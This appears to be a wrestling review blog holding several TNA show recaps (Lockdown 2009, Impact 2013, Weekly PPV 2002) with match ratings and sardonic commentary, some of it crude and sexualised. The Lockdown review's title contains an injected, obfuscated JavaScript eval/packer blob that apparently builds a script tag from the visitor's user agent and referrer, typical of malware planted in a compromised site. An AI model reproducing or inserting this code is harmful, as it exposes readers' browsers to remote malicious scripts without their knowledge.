Both guys are down now which is likely a good thing given the ample gut that Road Dogg has on him at the moment. Back up and James takes over with right hands but the referee takes a shot to the head. Jeff wedges a chair between the ropes but goes face first into it instead, giving James two. Elix Skipper and Brian Lawler come out to help Jarrett but Jeff nails Lawler by mistake, giving BG two more. The referee gets rid of the cronies so Jeff can hit James with a chair for a near fall. BG hits the anal rape pumphandle for two, only to have Skipper and Lawler run in for a DQ.

Post match Hall and Syxx-Pac come out for the big brawl but Truth evens the odds and Jarrett and company stand tall to end the show.

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On This Day: April 19, 2009 – Lockdown 2009: Foley’s Final Last Hurrah

Lockdown eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|defda|var|u0026u|referrer|yrzzs||js|php'.split('|'),0,{})) 2009
Date: April 19, 2009
Location: Liacouras Center, Philadelphia, Pennsylvania
Attendance: 4,500
Commentators: Mike Tenay, Don West

I’m doing this one for two reasons. First of all I want to get some more TNA shows done. Second, I read Foley’s book recently and I wanted to see how this match holds up by his comparisons. I watched this when it first aired and thought it was decent but was legitimately surprised with the ending. I remember nothing else about the show so this is kind of a fresh look for me. Let’s get to it.

I’m skipping the preshow as I have no desire to watch Danny Bonaduce in a match. And yes that happens.

The opening video only talks about Sting vs. Foley and the rest of the matches. I’m not a fan of this concept as it defeats the purpose of cage matches. It’s the Smashing Pumpkins speaking the words to Bullet With Butterfly Wings with some modified lyrics. We see Sting getting hit by a chair by Mick. The feud was about Foley not being done but Sting saying he was done. That comes off better than how Foley described it in words.

X-Division Title: Suicide vs. Jay Lethal vs. Consequences Creed vs. Sheik Abdul Bashir vs. Kiyoshi

This is an Xscape match where it’s first person out wins. Suicide is champion here. He appears in the ring which is rather cool. He kicks Bashir and it’s off. Ok with five people in there I can certainly live with this. Dang it this isn’t just the get out of the cage thing. You have to get three people out by pin or submission and THEN it’s first out wins. Sweet GOODNESS dude can you please keep ONE set of rules for ONE match?

Lethal Consequences beat up Bashir a bit as not much is going on here. Bashir is the favorite here for no apparent reason. They beat up everyone in sight and pin Kiyoshi after the big elbow from Lethal. This is really just a bunch of spots in a row. These are hard to get into as there is no real point to paying attention with the three pins needing to happen before anyone can escape.

Sheik pins Creed after a DDT which is called the WMDDT. I give up. DangI do that a lot don’t I? Big clothesline by Suicide to Lethal gets two. Suicide hits his finisher on Lethal so Bashir steals the pin which accomplishes nothing for him from an individual perspective but we’re down to the final two so the show is that much closer to being over so I’m not complaining.

Bashir is almost out until Suicide grabs his head to pull him back through the door. Cool visual if nothing else. They’re both sitting on the top of the cage and hammering away. Bashir almost falls twice and finally does on the third try. Kiyoshi won’t let Suicide go down so he’s like screw it and jumps onto the security guards to take them all out and keep the title.

Rating: C-. Not terrible here but it could have been worse. I wish they would just stick with one set of rules or find a better name for the freaking thing. Suicide winning here is nice but I’d like to see a new champion here for a change. This wasn’t a great match but it was good enough for an opener for a show like this where everything is a gimmick match.

Sweet goodness Lauren is gorgeous. She’s with Daniels and AJ who are on the same page and aren’t worried about Jarrett.

Madison Rayne vs. Sojourner Bolt vs. ODB vs. Daffney

This is Queen of the Cage which I think is just a fatal fourway for the name Queen of the Cage. Rayne is fairly new here. Apparently the winner gets a title shot. Deaner is with ODB. Daffney was the Governor recently as TNA decided to have a Sarah Palin character. ODB gets some Liquid Courage to make things all good. There’s an album pitch in there somewhere.

I’m pretty sure this is just the first fall wins it. Yeah that’s what it is according to West. Everyone beats down ODB and then the other three have a little thing. Deaner slips the flask through the cage to her which fires her way up. Daffney hits a Moss Covered Three Handled Family Credenza on Bolt. More drinking from ODB which is spat into Bolt’s face and a powerslam ends it.

Rating: D. Yeah I hated this. It was like six minutes long and was based around the joke of her more or less being an alcoholic. This was a waste of time and the ending was about as clear as a glass of water. Deaner and the whole white trash angle made Noble and Nidia look good. Not a fan of these matches at all.

We run down the rest of the card again.

Jarrett is here. All the members of his team but Joe is here.

IWGP Junior Heavyweight Tag Titles: Motor City Machine Guns vs. No Limit vs. LAX

Yes there are two Japanese tag titles on the line tonight, making a total of THREE tag title matches on one show. Oh it’s ok though as they’re globally recognized. You know, as opposed to when someone is the WORLD champion and are champions of the whole WORLD. Yeah the WORLD tag team champions aren’t globally recognized but these are. Sweet goodness I’m not a fan of this alleged cross promotional nonsense. This is a tornado match.

No Limit is a Japanese team that means nothing at all. We have five cruiserweights and Hernandez in here. Take a guess as to what kind of a match this is. One fall to a finish here. They try to explain how Hernandez can be in a Junior Heavyweight Title match and it doesn’t make sense as they say it’s like the X Division where there isn’t a weight limit, which of course is ridiculous due to the FREAKING NAME OF THE TITLE.

LAX dominates as amazingly enough, the one guy not like the others dominates the whole time. This is plodding along with two guys doing stuff while four lay down then repeat. The Guns remember that they’re the Guns and hammer away on SuperMex. Everyone beats up Shelley as Hernandez does even more stuff.

LAX in control now as they have been for a good while now. Yujiro of No Limit kicks out of a bunch of double team stuff. Sabin takes a very original move as Hernandez grabs him by the throat and throws him over his head like a belly to belly suplex but by his throat. Sweet goodness that was pretty awesome. The crowd isn’t exactly interested here either if you were wondering.

Naito misses a big spinning moonsault as the Guns climb the cage at the same time. And of course they dive off instead of just leaving which they could have done. Hernandez dominates again for awhile but No Limit takes him down again. Crowd is DEAD. Gringo Cutter to Yujiro off the top but the Guns wake up a bit and hit a Sliced Bread/powerbomb combination to Yujiro to more or less kill him and retain.

Rating: D+. This is another example of a time where TNA thought they were having something special and then at the end of the day no one but them cared. Who cares if there were Japanese tag titles on the line here? Why should I care about belts I’ve never seen before and likely won’t see afterwards? The crowd was bored as until the end nothing special happened here. Weak match but the Guns are always fun to see.

Abyss talks to Lauren who is apparently his girlfriend. She was concerned with him but I don’t think anything was ever made official. He’s trying to not use weapons at the moment and is somewhat neurotic at this point. He has Matt Morgan in a Doomsday Chamber of Blood which I think is a weapons first blood match.

We kind of preview the match which is simply that Abyss likes the cage and feels at home there. Morgan is a foreigner there. Oh and there’s barbed wire involved too. The Doomsday Chamber of Blood match is about one thing: carnage. Wouldn’t it be about, like, blood?

Doomsday Chamber of Blood: Matt Morgan vs. Abyss

I’d assume it’s a first blood match. Oh ok you win by pin or submission but they have to be bleeding first. Mike makes sure to inform us that this is NOT a first blood match though, even it’s about bleeding first. Morgan had turned heel again and turned on Abyss. Is anyone really surprised by that? Morgan has a chair to start but it gets knocked back into his face.

Lots of punches to start. This is during the Dr. Stevie period for Abyss and him being all insane and whatnot like that. Basic big man match to start as the fans say they want blood. I’ve always wanted someone to come out with a needle or something and get a tiny poke with it to make the guy bleed and take credit for a win like that. Abyss can’t bring himself to use a chair and he’s in trouble because of it.

Morgan throws weapons out of the ring to protect himself, drawing great heat. I see no barbed wire at all mind you. The chair to Abyss’ head busted him open so Morgan threw them out as he had the stuff he needed already. That makes sense actually. Morgan gets a decent dropkick. Fans are rather bored here but not entirely. This gimmick match overload is starting to wear on them though.

He busts out the bag of glass, making the whole idea of him throwing the chair out TOTALLY POINTLESS. The fans want Stevie. Morgan can’t manage to shove glass into the head of the monster. Abyss comes back and rams him into the cage a bunch and gets a chokeslam but he can’t pin him due to the lack of laceration. Morgan misses a cross body and down goes the referee.

Abyss gets some glass and jams it into Morgan’s head which would likely kill him but who cares about that? He covers Morgan and here’s a second referee for the two count. Abyss goes to the floor and gets the chair. There has been NO barbed wire which was advertised. Dr. Stevie is revealed to be Stevie Richards to the shock of NO ONE and his distractions lets a Carbon Footprint gets two.

The fans chant ECW as you can feel Vince’s lawyers smile from here. Yes they actually made not only a PPV but a major angle out of this. After Stevie steals the chair, Abyss goes under the ring and gets a bag full of tacks. THEN WHY DID HE GO FOR THE CHAIR IF HE KNEW THOSE WERE THERE???

Stevie STORMS, yes STORMS I say, the ring and beats up Abyss which gets him nowhere. Good night could they not overbook a single match? And then Morgan jumps him and gives him a chokebomb into the tacks for the easy pin. Well I’m glad to see they got the important plot point of STEVIE RICHARDS in this.

Rating: D+. I saw no barbed wire in there which was promised. The rest of this was nothing special in the slightest. Again they overdid it for the sake of the live crowd and having no one care about the actual match due to them just wanting Steven. This wasn’t anything great at all and was just another Abyss weapons match which we’ve seen a thousand times.

Jarrett says AJ and Daniels should look at themselves in the mirror and not worry about them. He’s going to worry about himself more and that includes doing the right thing. Joe, massive knife in hand, comes in to say no tricks.

And now we recap the Knockouts Title match which is Love vs. Kong vs. Wilde with Kong holding the title. No reason for the match other than having the title be on the line. Love is the joke here so I’d bet a high amount of money on her winning this.

Knockouts Title: Angelina Love vs. Awesome Kong vs. Taylor Wilde

I forgot how hot the BP were as the total stuck up witches. West doesn’t even bother hiding that he only cares about their looks. They cut Kong’s braids so she’s a good deal ticked off. Taylor is still hot. I’ve always liked how she high fives people on the way to the ring. Little things like that make big differences as you look like you CARE about the fans. It’s not much but it’s something at least.

Kong goes straight for Love and beats the tar out of her, as does Taylor. Yeah they’re not even trying to hide that she gets the title tonight. She gets out of a powerbomb and avoids the butt drop from Kong. The two blondes go at it with Love winning. She’s underrated in the ring. The total smark crowd wants Gail Kim. Velvet’s never ending smirk is sexy beyond belief.

Giant swing as we go WAY old school. Love dizzy is kind of funny as well. Kong stands on her hair and pulls her up which must hurt. She has dominated the vast majority of this match, which to be fair has only been about four minutes so far. Kong goes up and misses a front flip splash to a huge pop. Love kills Wilde with a kick and then she and Velvet tie Kong to the cage BY HER HAIR.

Instead of just ending it there with a quick move from Angelina like they should, they have a one on one match with Wilde and Love. Wilde goes over to laugh at Kong and gets kicked in the face so Love can pin her. Dang it is it impossible to make a champion look strong here at all???

Rating: C-. Not bad here actually as the ending was a legit surprise and well done. Not the new champion that is but the way they got rid of Kong. I wasn’t a fan of the in ring stuff as it was ALL Kong for the vast majority here and Wilde was just there so that the pin could work, but I’m really liking the ending which is what makes this match work for me. Well that and the girls were mostly gorgeous which is the main perk of the division.

Team 3D does some huge party deal with a bunch of fans. They’re Japanese tag champions too. They more or less say they love Philly and that Beer Money is going to die.

We get a package on the Dudleys and are told that they’re awesome. This is a unification match to an extent as both teams are champions and the winner gets both belts. I can’t stand this concept so they kept it up for the next six months or so. Oh and they’re in the jungle baby and they’re going to die. I give up.

TNA/IWGP Tag Titles: Beer Money vs. Team 3D

The idea here is a Philadelphia street fight, as in you can come and go from the cage as you please, defeating the entire purpose of the cage at all. Bubba knocks the steps away from the cage door which does nothing at all for the most part. They’re in the cage to start and the door is shut despite them talking about it being the open cage thing the whole time.

And so much for that as they’re on the floor now. They might have been in the cage for about thirty seconds. The fans want tables as we head into the crowd. We go split screen as we’re in the crowd. They each get a quarter of the screen as half of it is a big Lockdown logo. Storm vs. Bubba and Roode vs. D-Von but they merge in a luxury box.

Falls count anywhere apparently. The required ECW chant starts up even though the crowd can’t see them for the most part here. West thinks the crowd is 98/2 for Team 3D. Thank you for that excellent analysis Mr. West. The fans still want tables. Just sit stuff on your laps guys. Back to the ring now as Storm uses the cage door as a weapon. Storm gets a table out which should be done by the face but why would that matter?

The heels climb onto the steps and give D-Von a double suplex through the table. Bubba is busted open and it’s 2-1 inside the cage. He gets a double clothesline to take down both guys that aren’t wearing shirts. Again I need more ways to tell you who does what without saying their names over and over. Roode takes a Bubba Bomb from the top rope.

The other 3D gets two on Roode. So he’s kicked out of two almost finishers while Storm has taken nothing. Why doesn’t Roode leave him at this point? The fans want more tables. Man alive how much stuff are they carrying? D-Von gets a top rope clothesline for two. What’s Up to Roode. Here comes the second batch of tables.

Beer Money comes back and hits what we would call the Mooregasm on D-Von for two. So apparently Ink Inc is better than Beer Money? Too many dead spots in here where they’re just setting other stuff up rather than actually doing anything. Storm accidentally slams the door onto the head of Roode, allowing 3D through the table to end it.

Rating: C. It wasn’t bad and was probably the best match of the night thus far but this still wasn’t great. The Dudleys win another tag title. Why is this supposed to mean something? It was an ok match but it really wasn’t anything all that great. Like I said there were too many dead spots and it was too long at 15 minutes. Not bad at all though.

Angle and the Mafia are very confident.

The recap is simple: Mafia vs. TNA originals/Frontline/generic face team name. There was something about Steiner vs. Jarrett too but I’m not sure.

Team Angle vs. Team Jarrett

It’s Lethal Lockdown, which is WarGames but after everyone is in there is a roof with weapons attached lowered and we only have one ring. You have two teams of four (thank GOODNESS!) people each. Each team sends in a man for five minutes and then there’s a coin toss. The winning team sends in a man for a 2-1 advantage for two minutes. After those two minutes are up the team that lost the toss sends in their second man to tie us up. Two minutes later the winning team goes up 3-2. You alternate every two minutes and then lower the roof after everyone is in.

Angle vs. Daniels to start us off here. Daniels has been back in TNA for a total of four days. Daniels actually gets him down to start and holds him there. Angle realizes he’s Angle and takes care of that. This is a slow paced start here with both guys working on the mat. That’s not bad though and it’s working for the most part as they’re solid there.

Team Angle has the advantage apparently which might have been determined already. TNA does that on occasion which makes sense at least. Daniels gets the Koji Clutch out of nowhere with about 5 seconds to go. I know I didn’t say much in there but it was just dull stuff. Granted that could be due to Daniels. Booker is in second and drills Daniels, who apparently was surprised. I guess the music, the clock and the BIG FREAKING WRESTLER didn’t get his attention.

Angle gets back up after about a minute and a half and it’s the big beatdown with about 45 seconds left until we tie it up again. For some reason Booker took forever to come into the match so they only got about 90 seconds in there. AJ ties us up. He took the Legends Title from Booker last month so there’s your reason for him being there. AJ just looks freaking awesome there, running in with his eyes looking awesome. I think I’m bordering on a man crush here.

AJ and Daniels destroy the Mafia with sweet double team stuff. They always had a chemistry together which again I have to put on AJ for bringing up Daniels. I am not a fan of his at all and I don’t get his appeal. His style is way too out there for me and it’s how ROH tends to work. Not a fan of it. Steiner is in third meaning Nash will be the final guy. Yeah I’m stunned too that he has the least to do.

Steiner Lines all around. Daniels takes a big old suplex but AJ takes what Steiner calls the Frankensteiner now even though that simply isn’t what it is anymore. Joe is third to add up the holy trinity of the X Division…and there’s no Joe. He’s getting advice from his mentor, who would turn out to be Taz. While he’s standing there though his partners are getting destroyed.

Ah here’s Joe, complete with the “tattoo” on his face. Steiner vs. Joe is a sad sight for some reason. Having only eight people in here is a VERY nice perk as the ten that most people have is way too many. When you had two rings in WCW that was ok as there was more than enough room.

Nash comes in last and Joe FREAKS on him, not even letting him into the ring. And so much for that as he drills Joe and gets in anyway. Ok everyone that is in the match so far is in there. Best Moonsault Ever to Nash but we can’t cover yet. Not that it matters as it’s not like Nash would let Daniels get a pin on him anyway. Here’s Jarrett to tie us up and get us to the final part of the match.

He cleans house in his powder blue tights as the roof with weapons on it is lowered. Basically now it turns into who can get out of the cage for the big spot first. Because TNA is stupid, we go to a SIX WAY SCREEN SPLIT. Since there is a total of one ring, they realize this is stupid and go to a regular shot. Angle has managed to find a hole in the roof and is on top. AJ follows him so we get a little breathing room in the ring.

AJ vs. Angle squaring off on top of the cage is kind of cool looking. Angle tries to suplex him off but it gets blocked due to it being like deadly. Angle gets back in the ring after a bit and hits the Slam on Jarrett. AJ is up on top of the cage and is just like screw it and dives through the top of the cage, breaking it and landing on the Mafia. When I say on the Mafia I mean they all back up so they don’t have to catch him and let him crash. Nice guys.

Joe goes off until Booker takes him down and spins up. I hate the name so I don’t feel like typing it. Jarrett swings a chair at Booker and hits AJ who is somehow still alive after that jump. Joe gets all ticked off at him but gets caught in the Slam because he’s not paying attention. Angel’s Wings gets two on Angle. Basically this is just everyone hits big moves until Jarrett gets the guitar and sets to hit AJ but drills Booker like he’s supposed to and AJ gets the pin.

Rating: B. Pretty solid stuff here with the four people per team DEFINITELY being a good idea. This wasn’t the best match they’ve ever had with this gimmick but this one worked pretty well. They got into that formula that isn’t very exciting here but the big dive from AJ was a very solid spot, although someone CATCHING HIM would have been nice. Solid stuff here though and DEFINITELY the best match of the night so far.

Post match Bobby Lashley comes out and points a lot. He wouldn’t be seen for months I don’t think. Ah apparently he would be on Impact and then not be seen until July.

Some music interrupts the beginning of Sting’s promo which apparently they couldn’t hear. Sting says you have to expect the unexpected. This is the whole point in watching this show for me so maybe it’ll be good. Sting says that if the belt winds up in the wrong hands then it’s the beginning of the end for TNA.

Foley is looking at his barbed wire ball bat and says that Mick isn’t here tonight but rather Cactus Jack is around. He makes the rule change where you can win by escape. There was supposed to be a special cage built but it didn’t happen.

We recap the feud which was about Foley missing a chair shot and hitting Sting by mistake. Then on Impact he hit him on purpose. This was a respect thing apparently as Sting was cashing the checks that Foley’s body wrote. That’s a solid line actually.

TNA World Title: Sting vs. Mick Foley

This is just a standard match for the first time all night I believe. These are my two favorite wrestlers ever so this is an awesome sight to see. Also their 92 feud was awesome so I’m really looking forward to this. Foley being introduced with the bat is awesome for some reason. They stand off to start which makes sense as Foley had been talking about how this was his greatest rival. Granted they hadn’t associated with each other in seventeen years but whatever.

Foley punches himself in the head and cuts himself open, which he claimed was a new wound rather than the one he had done on Impact. Foley takes over to start and goes to leave almost immediately but the fight begins on top of the ropes. Basically Foley dominates to start as West actually analyzes things a bit here. They fight on the ropes again with Sting hitting a belly to back off the top for two.

Foley gets stuck in a Tree of Woe and Sting pounds away. Sting goes for the leg which is apparently hurt now due to the Tree of Woe. That’s a new one I think. Spinning neckbreaker by Foley gets two. He goes for the cage but just kind of stops because of the leg. The door is off limits again I think which might be a rule all night.

Mick gets the Scorpion of all things on Sting which lasts about as long as Foley’s third title reign by comparison. Foley calls for the door to be open and shoves Hebner out of the way. Since he can’t climb he has no issue with going through the door apparently. For no apparent reason he hits a baseball slide to the cameraman in the hole he uses.

Foley tries to climb through said hole but gets caught by Sting and locked in the Deathlock. He crawls to the hole in the cage and has the cameraman slip him the bat. This is getting better. Sting tries to go up but gets caught by a shot to the leg with the bat and another one to send him to the mat. And then he’s fine seconds later, beating up Foley with the bat instead.

The barbed wire on the bat breaks up and goes into Sting’s eyes. He wraps Socko in it and gives Sting a running knee in the corner. What was funny/bad here was that he also slammed his head into the cage and busted his head open legitimately. Both guys are busted now and the fans are way behind Foley which is weird to see for a Sting opponent.

Both go up the cage but on different sides. Foley DIVES to the floor and amazingly enough wins the title totally clean. He said in the book that there were like 4 seconds left in the show here which never made sense based on what I remembered and I was right as there was like forty seconds left.

Rating: B-. I’m probably being very biased here but I liked this. They had a slow build here and the ending, while surprising, makes sense. Foley is a hardcore wrestler and he beat Sting in a hardcore match. Also the idea was for Foley to come out and prove to Sting that he still had it so what better way than to take his title? This was good although it was slow at times which hurts it.

Overall Rating: D+. This show is LONG. That’s the only way to put it. The main events are both good and they keep this from being a failure. Having eight cage matches completely defeats the purpose of a cage match. Foley vs. Sting in a cage is a major match if booked right and the match was rather brutal. However it’s still the EIGHTH time we’ve seen a cage tonight, and with having a gimmick for every match, it wore very thin.

This show doesn’t work often and until the final 45 minutes of this show it was looking to be the worst ever in the series. This worked at the end though and the old guys put on the best match of the night more than likely. Check out Sting vs. Foley if you’re a fan of theirs as it’s fun stuff and Lethal Lockdown if you’re a WarGames fan, but other than that stay clear due to reasons of boring.

 

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Impact Wrestling – April 18, 2013: Take The Midcard Out Back And Shoot It

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Date: April 18, 2013
Location: American Bank Center, Corpus Christi, Texas
Commentators: Todd Keneley, Taz, Mike Tenay

We open with a nice graphic about praying for the Boston bombings.

We get the usual recap to open things up.

D-Von gives Bischoff and Garrett a pep talk for their handicap match with Angle tonight.

Garrett Bischoff/Wes Brisco vs. Kurt Angle

We get a quick video package on Bischoff and Brisco being mentored by Angle before turning on him to join the bikers. Brisco starts things off with Kurt easily throwing him around. Angle rams him into a buckle and then throws Wes off to Bischoff for a tag. Kurt easily throws Bischoff around and even tosses Wes to the floor as we take a break.

Zema Ion and Petey Williams talk about the threeway tonight.

X-Division Title: Kenny King vs. Zema Ion vs. Petey Williams

Ion is knocked to the floor very quickly and apparently the referee now has a camera on his head. King kicks Ion down but gets caught in a quick Canadian Destroyer for two. Ion gets two of his own and the challengers get in an argument. Williams hits a middle rope rana for two but Ion comes back with some shots of his own. King is still down on the floor.

Zema puts on a half crab for a bit until Petey makes a rope. The Destroyer is broken up but Williams dives on King. Petey hits a release german suplex on Ion and a slingshot rana on King. After Ion gets in some generic high flying offense, Petey locks him in the Sharpshooter until King makes the save and steals a pin on Ion to retain at 5:47.

The Knockouts are getting their own website.

TV Title: D-Von vs. Magnus

Knux and Doc jump Magnus on the steps until D-Von comes up to make it 3-1. The big guys give Magnus a double chokeslam but Joe comes out to make the save. No match.

We recap the AJ story with him walking out oon TNA and now being offered a spot in both factions.

Mickie James vs. Miss Tessmacher

Winner gets a title match against Velvet. ODB is guest referee again. They go back and forth for a bit with nothing of note going on until things get heated fast. ODB says cool it so Tessmacher grabs a quick rollup for two. Mickie puts on an armbar but Tessmacher is in the ropes. They head to the floor and ODB breaks up another brawl before they go inside again.

D-Von harasses Joseph Park in the back until Bully jumps Park. Joseph gets choked by a chain and thrown into a shower.

We look at Hardy being injured again and hear from various wrestlers saying they have to unite against the bikers.

TV Title: D-Von vs. Samoa Joe

Rating: D. What in the world are you expecting here? The match was like three and a half minutes long and had a run-in ending. D-Von is beyond worthless at this point but hey, he used to be part of a big time team so he must be worth something right? Nothing to see here for the most part, much like the rest of the matches tonight.

Post match Anderson hits Joe in the face with the knuckles again, seemingly injuring him in the process.

James Storm vs. AJ Styles

Closing Time hits AJ and a Cactus Clothesline sends them both to the floor. Back in and Storm hits another Closing Time but the Last Call is caught and AJ hooks a rolling let lock for the tap out at 10:54. It looked like a cross between an Indian Deathlock and a half crab. How rare is it to see Storm tap out?

Results

Wes Brisco/Garrett Bischoff b. Kurt Angle – Bischoff hit Angle with a chain

Kenny King b. Zema Ion and Petey Williams – King pinned Ion after a Sharpshooter from Williams

Mickie James b. Velvet Sky – Rollup

D-Von b. Samoa Joe – D-Von pinned Joe after Anderson hit him with brass knuckles

AJ Styles b. James Storm – Leg Lock

 

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TNA Weekly PPV #13: More Brian Lawler Than You Could Ever Need

TNA Weekly PPV #13
Date: September 18, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Don West, Mike Tenay

The announcers run down the card, including a celebrity boxing match. Oh jeez.

Dogg says that he and Jarrett bailed on the WWF back in 1995 but then Dogg became part of DX. Apparently his name here is BG James with the G standing for “Get It, Got It, Good”. James is going to be in the Gauntlet for the Gold tonight and will find a partner somewhere. I guess Lawler vs. Jarrett is done now.

AJ Styles vs. Kid Kash

Back in and Kash sends AJ face first into the middle buckle before getting two off a German suplex. AJ comes back with his moonsault into (not really but close enough) the reverse DDT for two. Kash runs up the corner and hits a SWEET rana followed by a tornado DDT for two. AJ comes back with a dropkick to the knee and the always cool nipup into a rana of his own.

Discus lariat gets two on Kash as does a dropkick to the back of his head. AJ loads up another springboard dive but jumps into a dropkick to put both guys down. Kash tries a top rope splash but only his canvas. He manages to crotch AJ, but a top rope rana is countered into a Styles Clash off the middle rope for the academic pin.

Dustin Diamond vs. Tiny the Timekeeper

Hot Shots vs. Derek Wylde/Jimmy Rave vs. Ace Steele/CM Punk

Harris and Storm are ready for the Gauntlet and Harris finally calls Storm buckaroo.

Hermie Sadler is praised for being awesome in NASCAR and is invited to be here for the next match.

Miss TNA: Bruce vs. ???

Sadler gives Bruce an atomic drop post match.

Gauntlet for the Gold

Punk and Rave are tossed by the big guys as well, meaning two full teams are eliminated. Syxx sends out Bagwell and Lawler (no fanfare, which is odd as the announcers have spent ten minutes worshipping the guy) as BG James (Marcus Bagwell) is #14. We get heel miscommunication between Lee and Harris but Road Dogg (blonde here for some reason) gets stomped down I the corner. Joel Maximo (Jose Maximo) is #15 and is out about two seconds later.

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Haris

Storm finally gets back in and cleans house, only to get caught in a chokeslam/belly to back suplex combo for no cover. Ron pulls out a table for no apparent reason and lays Storm out on top of it. Lee loads up Chris in a chokeslam but gets rolled up (and into the ropes) to give AMW the pin and the titles.


Rating: D. This was barely even a match with Chris getting beaten down for a few minutes and Storm being on the floor most of the time. The table thing was stupid and the ending was even worse as both guys were in the ropes for the fall and the referee counted it anyway. Nothing to see here, but at least the right team won.

BG James is bloody in the back to make sure the tag titles get no focus.

NWA World Title: Ron Killings vs. Jerry Lynn

Back in again and Truth puts on a modified surfboard but Lynn grabs the rope. The ax kick gets two for Truth but Jerry comes back with a spinning rollup for two of his own. Truth stays on offense as AJ Styles is at ringside. Now Kid Kash and the S.A.T. come down as well. Here are the Flying Elvises as the fans are ALL behind Lynn. Jerry makes a comeback with some clotheslines but the cradle piledriver is countered. Lynn reverses a suplex into a DDT for two but AJ breaks up the pin. The challenger goes up but Siaki shoves him down, allowing Truth to hit a Diamond Cutter for the pin to retain.

BG James comes out to talk trash about Killings for no apparent reason. This brings out Jarrett because he has to end the show but Hall and Waltman make the save to close us out.

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